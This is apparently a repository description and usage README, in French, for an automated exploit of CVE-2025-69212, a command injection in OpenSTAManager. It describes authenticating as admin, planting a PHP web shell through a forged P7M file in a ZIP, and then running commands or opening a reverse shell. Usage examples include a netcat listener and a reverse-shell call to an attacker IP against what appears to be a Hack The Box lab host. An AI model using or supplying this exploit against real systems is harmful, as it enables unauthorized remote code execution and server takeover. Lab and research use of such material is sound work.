pasindu-sd/cve-2025-69212-exploitExploit automatisé pour l'injection de commande CVE-2025-69212 dans OpenSTAManager, avec authentification administrateur, téléversement d'un ZIP malveillant, et exécution d'un shell inversé ou de commandes.
Un script d'exploitation entièrement automatisé pour CVE-2025-69212, une vulnérabilité d'injection de commandes dans OpenSTAManager. Ce script s'authentifie avec les identifiants administrateur, déploie un web shell PHP malveillant via un fichier P7M forgé dans une archive ZIP, et permet l'exécution de commandes ou l'obtention d'un shell inverse.
invoice.p7m).python3 exploit.py -u <TARGET_URL> -U <USERNAME> -P <PASSWORD> -r <LHOST> <LPORT>
Exemples :
Exécuter une commande unique :
python3 exploit.py -u http://support_001.enigma.htb -U admin -P 'Password123' -c 'id'
Obtenir un shell inverse :
# Start your netcat listener in another terminal:
nc -lvnp 4444
# Run the exploit:
python3 exploit.py -u http://support_001.enigma.htb -U admin -P 'Password123' -r 10.10.14.1 4444